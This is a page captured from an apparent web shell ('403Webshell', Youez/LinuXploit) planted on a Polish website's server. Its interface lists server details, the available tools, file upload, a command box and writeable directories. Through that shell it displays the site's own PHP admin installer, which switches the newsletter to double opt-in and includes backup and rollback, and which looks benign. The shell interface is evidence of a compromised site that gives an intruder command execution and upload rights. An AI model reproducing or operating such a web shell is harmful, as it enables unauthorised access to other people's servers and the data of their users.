403Webshell
Server IP : 188.114.96.3  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux sv058.home.net.pl 6.8.2 husak_dirty_pages_fix #1 SMP PREEMPT_DYNAMIC Tue Apr 2 22:06:51 CEST 2024 x86_64
User :  ( 3194769)
PHP Version : 8.5.12
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /polana/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /polana/admin/polana-v172-instalator.php
<?php
declare(strict_types=1);
/** POLANA V17.2: safe, limited-scope patcher of the existing PHP app. */
require_once dirname(__DIR__) . '/includes/functions.php';
require_once dirname(__DIR__) . '/includes/polana_v172_newsletter.php';
require_admin_role();
header('Cache-Control: private, no-store, max-age=0');
header('X-Robots-Tag: noindex,nofollow');

function pi172_root():string { return dirname(__DIR__); }
function pi172_backupdir():string { return dirname(pi172_root()).'/.polana_v172_private_backups'; }
function pi172_marker():string { return 'POLANA_V172_NEWSLETTER_ADAPTER'; }
function pi172_targets():array {
    $root=pi172_root();
    return [
        'includes/newsletter.php'=>$root.'/includes/newsletter.php',
        'newsletter.php'=>$root.'/newsletter.php',
        'rezerwacja.php'=>$root.'/rezerwacja.php',
        'includes/reservations.php'=>$root.'/includes/reservations.php',
        'includes/functions.php'=>$root.'/includes/functions.php',
    ];
}
function pi172_one(string $contents,string $needle,string $replacement,string $label):string {
    if (strpos($contents,$needle)===false) throw new RuntimeException('Nie znaleziono wzorca: '.$label.'. Instalacja przerwana, bez nadpisywania nieznanego kodu.');
    if (substr_count($contents,$needle)!==1) throw new RuntimeException('Wzorzec niejednoznaczny: '.$label);
    return str_replace($needle,$replacement,$contents);
}
function pi172_patch(string $relative,string $content):string {
    if ($relative==='includes/newsletter.php') {
        if (str_contains($content,pi172_marker())) return $content;
        $regex='~function newsletter_subscribe\(.*?\): array\s*\{.*?\n\}\s*(?=function newsletter_unsubscribe\()~s';
        if(preg_match_all($regex,$content,$m)!==1) throw new RuntimeException('Niezgodna struktura funkcji newsletter_subscribe.');
        $replacement = <<<'REPLACE'
/** POLANA_V172_NEWSLETTER_ADAPTER: double opt-in instead of automatic activation */
function newsletter_subscribe(string $email, string $name='', string $source='footer'): array {
    require_once __DIR__ . '/polana_v172_newsletter.php';
    return pv172_subscribe($email, $name, $source);
}

REPLACE;
        return preg_replace_callback($regex,static fn($match)=>$replacement,$content,1) ?? throw new RuntimeException('Nie udało się dostosować newslettera.');
    }
    if ($relative==='newsletter.php') {
        if(str_contains($content,'POLANA_V172_CONFIRM_FLOW')) return $content;
        $content=pi172_one($content,"require_once __DIR__ . '/includes/newsletter.php';", "require_once __DIR__ . '/includes/newsletter.php';\nrequire_once __DIR__ . '/includes/polana_v172_newsletter.php';\n/* POLANA_V172_CONFIRM_FLOW */\nheader('Cache-Control: private, no-store');\nheader('Referrer-Policy: no-referrer');\nheader('X-Robots-Tag: noindex,nofollow');
start_session();",'newsletter public include');
        $branch=<<<'BRANCH'
if (isset($_GET['confirm'])) {
    $mode = 'confirm';
    $confirmToken = trim((string)$_GET['confirm']);
    $message = preg_match('/^[a-f0-9]{64}$/D', $confirmToken)
        ? 'Kliknij przycisk poniżej, aby potwierdzić zapis. Samo otwarcie linku nie aktywuje adresu.'
        : 'Nieprawidłowy link potwierdzenia.';
} elseif ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['newsletter_confirm_token'])) {
    $mode = 'confirm';
    verify_csrf();
    try {
        $ok = pv172_confirm(trim((string)$_POST['newsletter_confirm_token']));
        $message = $ok ? 'Adres potwierdzony. Dziękujemy za zapis!' : 'Link już wykorzystany, wygasły lub nieprawidłowy.';
    } catch (Throwable $ex) {
        $message = 'Nie udało się potwierdzić adresu. Spróbuj ponownie.';
        error_log('[POLANA NEWSLETTER confirm] '.$ex->getMessage());
    }
} elseif (isset($_GET['unsubscribe']))
BRANCH;
        $content=pi172_one($content,"if (isset(\$_GET['unsubscribe']))",$branch,'newsletter confirmation routing');
        $content=pi172_one($content,"<h1><?= \$mode === 'unsubscribe' ? 'Newsletter' : 'Dołącz do newslettera' ?></h1>","<h1><?= \$mode === 'unsubscribe' ? 'Newsletter' : (\$mode === 'confirm' ? 'Potwierdź zapis' : 'Dołącz do newslettera') ?></h1>",'newsletter confirmation title');
        $form=<<<'FORM'
<?php if (!$ok && $mode === 'confirm' && !empty($confirmToken) && preg_match('/^[a-f0-9]{64}$/D', $confirmToken)): ?>
      <form method="post" action="/newsletter.php" class="newsletter-page__form">
        <?= csrf_field() ?>
        <input type="hidden" name="newsletter_confirm_token" value="<?= e($confirmToken) ?>">
        <button type="submit">Potwierdzam zapis na newsletter</button>
      </form>
    <?php elseif (!$ok && $mode !== 'unsubscribe' && $mode !== 'confirm'): ?>
FORM;
        $content=pi172_one($content,"<?php if (!\$ok && \$mode !== 'unsubscribe'): ?>",$form,'newsletter form confirmation');
        return $content;
    }
    if ($relative==='rezerwacja.php') {
        if(str_contains($content,'POLANA_V172_RESERVATION_OPTIN_AFTER_SAVE'))return $content;
        $content=pi172_one($content,"/* POLANA_NEWSLETTER_RESERVATION_POST_V1_1 */\nif (function_exists('newsletter_handle_reservation_optin')) newsletter_handle_reservation_optin();\n",'','premature reservation newsletter opt-in');
        $target="\$_SESSION['reservation_last_submit'] = time();";
        $replacement=$target."\n        /* POLANA_V172_RESERVATION_OPTIN_AFTER_SAVE — record consent only after successful reservation */\n        if (function_exists('newsletter_handle_reservation_optin')) newsletter_handle_reservation_optin();";
        return pi172_one($content,$target,$replacement,'post-success reservation newsletter opt-in');
    }
    if ($relative==='includes/reservations.php') {
        if(str_contains($content,'POLANA_V172_REPLY_TO')) return $content;
        $before=<<<'BEFORE'
    smtp_send_mail(
        (string)$reservation['email'],
        $subject,
        reservation_email_html($subject, $body),
        $body
    );
BEFORE;
        $after=<<<'AFTER'
    /* POLANA_V172_REPLY_TO: gość odpisuje do rezerwacji, nie do no-reply */
    smtp_send_mail(
        (string)$reservation['email'],
        $subject,
        reservation_email_html($subject, $body),
        $body,
        trim(reservation_setting('reservation_admin_email')) ?: null
    );
AFTER;
        return pi172_one($content,$before,$after,'guest autoresponder Reply-To');
    }
    if ($relative==='includes/functions.php') {
        if(str_contains($content,'POLANA_V172_ADMIN_TOP_LINKS')) return $content;
        $needle='<a href="/admin/">Pulpit</a>';
        $insert=$needle."\n        <!-- POLANA_V172_ADMIN_TOP_LINKS -->\n        <?php if (\$role === 'admin'): ?>\n          <a href=\"/admin/polana-komunikacja.php\">Poczta i komunikacja</a>\n          <a href=\"/admin/polana-newsletter.php\">Newsletter</a>\n        <?php endif; ?>";
        return pi172_one($content,$needle,$insert,'admin top navigation');
    }
    throw new RuntimeException('Nieobsługiwany plik '.$relative);
}
function pi172_write_atomic(string $file,string $contents):void {
    $temp=$file.'.p172_'.bin2hex(random_bytes(6)).'.tmp';
    if(@file_put_contents($temp,$contents,LOCK_EX)!==strlen($contents)){
        @unlink($temp);throw new RuntimeException('Nie można zapisać pliku '.basename($file));
    }
    $mode=@fileperms($file);if($mode!==false)@chmod($temp,$mode&0777);
    if(!@rename($temp,$file)){
        @unlink($temp);throw new RuntimeException('Nie można podmienić pliku '.basename($file));
    }
}
function pi172_settings_targets():array {
    return [
        'reservation_admin_email'=>'[email protected]',
        'reservation_auto_reply_enabled'=>'1',
    ];
}
function pi172_setting_snapshot(array $settings):array {
    $select=db()->prepare('SELECT setting_value FROM settings WHERE setting_key=? LIMIT 1');
    $rows=[];
    foreach($settings as $k=>$value){$select->execute([$k]);$old=$select->fetchColumn();$rows[$k]=['had'=>$old!==false,'before'=>$old!==false?(string)$old:null,'after'=>$value];}
    return $rows;
}
function pi172_save_settings(array $settings):void {
    $stmt=db()->prepare('INSERT INTO settings(setting_key,setting_value) VALUES(?,?) ON DUPLICATE KEY UPDATE setting_value=VALUES(setting_value)');
    foreach($settings as $key=>$value)$stmt->execute([$key,$value]);
}
function pi172_install():string {
    if(!is_file(pi172_root().'/includes/polana_v172_newsletter.php') || !is_file(pi172_root().'/admin/polana-newsletter.php') || !is_file(pi172_root().'/admin/polana-komunikacja.php')){
        throw new RuntimeException('Najpierw wgraj WSZYSTKIE pliki ZIP do odpowiednich katalogów.');
    }
    $changes=[];
    foreach(pi172_targets() as $relative=>$file){
        if(!is_file($file) || !is_readable($file) || !is_writable($file))throw new RuntimeException('Brak odczytu/zapisu: '.$relative);
        $before=file_get_contents($file);
        if(!is_string($before))throw new RuntimeException('Brak odczytu: '.$relative);
        $normalized=str_replace("\r\n","\n",$before);
        $patched=pi172_patch($relative,$normalized);
        $after=str_contains($before,"\r\n") ? str_replace("\n","\r\n",$patched) : $patched;
        if($after!==$before)$changes[$relative]=['file'=>$file,'before'=>$before,'after'=>$after];
    }
    if (!$changes) {
        return 'V17.2 jest już zainstalowana — nie utworzono kolejnego backupu ani nie zmieniono ustawień.';
    }
    $settingSnapshot=pi172_setting_snapshot(pi172_settings_targets());
    $dir=pi172_backupdir();
    if(!is_dir($dir)&&!@mkdir($dir,0700,true))throw new RuntimeException('Nie można utworzyć prywatnych backupów poza WWW.');
    if(!is_writable($dir))throw new RuntimeException('Katalog backupu nie jest zapisywalny.');
    $path=$dir.'/'.date('Ymd_His').'_'.bin2hex(random_bytes(4));
    if(!@mkdir($path,0700))throw new RuntimeException('Nie można utworzyć folderu kopii.');
    $manifest=['version'=>'17.2','files'=>[],'settings'=>$settingSnapshot];
    foreach($changes as $relative=>$c){
        $backup='original-'.count($manifest['files']).'.bak';
        if(@file_put_contents($path.'/'.$backup,$c['before'],LOCK_EX)!==strlen($c['before']))throw new RuntimeException('Nie udało się zapisać backupu. Nic nie zmieniono.');
        @chmod($path.'/'.$backup,0600);
        $manifest['files'][$relative]=['backup'=>$backup,'before_sha'=>hash('sha256',$c['before']),'after_sha'=>hash('sha256',$c['after'])];
    }
    $manifestJson=json_encode($manifest,JSON_UNESCAPED_UNICODE|JSON_PRETTY_PRINT);
    if(!$manifestJson || @file_put_contents($path.'/manifest.json',$manifestJson,LOCK_EX)!==strlen($manifestJson))throw new RuntimeException('Brak zapisu manifestu. Nic nie zmieniono.');
    @chmod($path.'/manifest.json',0600);
    // MariaDB DDL is additive. It does not alter existing subscriber status, consent or data.
    pv172_upgrade_schema();
    $written=[];
    try {
        foreach($changes as $relative=>$c){
            $current=@file_get_contents($c['file']);
            if($current!==$c['before'])throw new RuntimeException('Plik zmienił się w trakcie instalacji: '.$relative);
            pi172_write_atomic($c['file'],$c['after']);$written[$relative]=$c;
        }
        $pdo=db();$pdo->beginTransaction();
        try{pi172_save_settings(pi172_settings_targets());$pdo->commit();}catch(Throwable $e){if($pdo->inTransaction())$pdo->rollBack();throw $e;}
    }catch(Throwable $e){
        foreach(array_reverse($written) as $c){
            if(@file_get_contents($c['file'])===$c['after']){
                try{pi172_write_atomic($c['file'],$c['before']);}catch(Throwable $ignored){}
            }
        }
        throw $e;
    }
    try { admin_log('polana_v172_install','Aktywowano newsletter double opt-in, komunikację i Reply-To (bez haseł)'); } catch(Throwable $ignored) {}
    return 'Instalacja ukończona. Zmieniono '.count($changes).' plików i skonfigurowano odbiorcę rezerwacji. Kliknij „Poczta i komunikacja”.';
}
function pi172_rollback():string {
    $paths=glob(pi172_backupdir().'/*/manifest.json')?:[];rsort($paths);
    $last=null;
    foreach($paths as $candidate){if(str_ends_with($candidate,'/manifest.json')){$last=$candidate;break;}}
    if(!$last)throw new RuntimeException('Nie znaleziono wykonanej kopii V17.2.');
    $manifest=json_decode((string)file_get_contents($last),true);
    if(!is_array($manifest)||($manifest['version']??'')!=='17.2')throw new RuntimeException('Nieprawidłowa kopia V17.2.');
    $restores=[];$dir=dirname($last);
    foreach(($manifest['files']??[]) as $relative=>$item){
        $targets=pi172_targets();
        if(!isset($targets[$relative]))throw new RuntimeException('Nieznany plik w kopii: '.$relative);
        $target=$targets[$relative];
        $saved=@file_get_contents($dir.'/'.basename((string)$item['backup']));
        $current=@file_get_contents($target);
        if(!is_string($saved)||!is_string($current)||hash('sha256',$saved)!==$item['before_sha']||hash('sha256',$current)!==$item['after_sha']){
            throw new RuntimeException('Plik '.$relative.' został później zmieniony lub kopia jest uszkodzona. Nie cofnięto niczego.');
        }
        $restores[]=[$target,$saved];
    }
    $currentSettings=pi172_setting_snapshot(pi172_settings_targets());
    foreach(($manifest['settings']??[]) as $key=>$v){
        if(!isset($currentSettings[$key]) || $currentSettings[$key]['before']!==(string)$v['after'])throw new RuntimeException('Ustawienie '.$key.' było zmieniane później — rollback zablokowany.');
    }
    foreach($restores as [$path,$saved])pi172_write_atomic($path,$saved);
    $pdo=db();$pdo->beginTransaction();
    try{
        $up=$pdo->prepare('INSERT INTO settings(setting_key,setting_value) VALUES(?,?) ON DUPLICATE KEY UPDATE setting_value=VALUES(setting_value)');
        $del=$pdo->prepare('DELETE FROM settings WHERE setting_key=?');
        foreach(($manifest['settings']??[]) as $key=>$v){if($v['had'])$up->execute([$key,$v['before']]);else $del->execute([$key]);}
        $pdo->commit();
    }catch(Throwable $e){if($pdo->inTransaction())$pdo->rollBack();throw $e;}
    @rename($last,$last.'.restored');
    return 'Przywrócono pliki i ustawienia z poprzedniej wersji. Dane zgód newslettera zostały zachowane. Dodatkowe kolumny bazy pozostają bezpiecznie w tabeli.';
}

if (($_SERVER['REQUEST_METHOD']??'GET')==='POST'){
    verify_csrf();
    try{
        $action=(string)($_POST['action']??'');
        if($action==='install')$message=pi172_install();
        elseif($action==='rollback' && !empty($_POST['confirm_rollback']))$message=pi172_rollback();
        else throw new RuntimeException('Nieznana lub niepotwierdzona operacja.');
        flash('success',$message);
    }catch(Throwable $ex){flash('error','Nie wykonano operacji: '.$ex->getMessage());}
    redirect('/admin/polana-v172-instalator.php');
}
render_admin_header('POLANA V17.2 — instalator');
?>
<div style="max-width:950px;margin:20px auto 65px;padding:15px">
<h1>POLANA V17.2 — instalator komunikacji</h1>
<p>Przygotowuje centrum poczty, newsletter z potwierdzeniem e-mail oraz automatyczne odpowiedzi rezerwacji z adresem <strong>[email protected]</strong> do odpowiedzi. Żadnych haseł w paczce.</p>
<div class="form-card" style="margin:18px 0;padding:20px"><h2>Bezpieczna instalacja</h2><p>Najpierw wgraj wszystkie pliki ZIP do głównego katalogu strony. Instalator sprawdzi znane fragmenty PHP, zapisze kopie poza WWW, doda dwa przyciski do górnego menu i rozszerzy tabelę newslettera o potwierdzenie zgody.</p><p>Jeżeli aktualny kod jest inny niż oczekiwany, instalator odmówi modyfikacji zamiast nadpisać funkcje.</p>
<form method="post"><?=csrf_field()?><input type="hidden" name="action" value="install"><button class="btn btn-primary" type="submit">Zainstaluj V17.2 z backupem</button></form></div>
<div class="form-card" style="margin:18px 0;padding:20px"><h2>Po instalacji</h2><a class="btn btn-primary" href="/admin/polana-komunikacja.php">Poczta i komunikacja</a> <a class="btn btn-light" href="/admin/polana-newsletter.php">Newsletter — subskrybenci</a> <a class="btn btn-light" href="/admin/polana-poczta.php">SMTP i test</a><p><strong>Ważne:</strong> dla poprawnego działania utwórz skrzynki <code>[email protected]</code> i <code>[email protected]</code>, wpisz hasło no-reply w panelu SMTP i sprawdź testową rezerwację.</p></div>
<div class="form-card" style="margin:18px 0;padding:20px"><h2>Rollback kodu</h2><p>Nie usuwa subskrybentów ani śladów zgód. Przywraca pliki i konfigurację tylko jeżeli nie zmieniono ich od instalacji.</p><form method="post" onsubmit="return confirm('Przywrócić ostatnią wersję plików V17.2?')"><?=csrf_field()?><input type="hidden" name="action" value="rollback"><label><input type="checkbox" name="confirm_rollback" value="1" required> Potwierdzam przywrócenie</label><button class="btn btn-light" type="submit">Cofnij V17.2</button></form></div>
</div>
<?php render_admin_footer(); ?>

Youez - 2016 - github.com/yon3zu
LinuXploit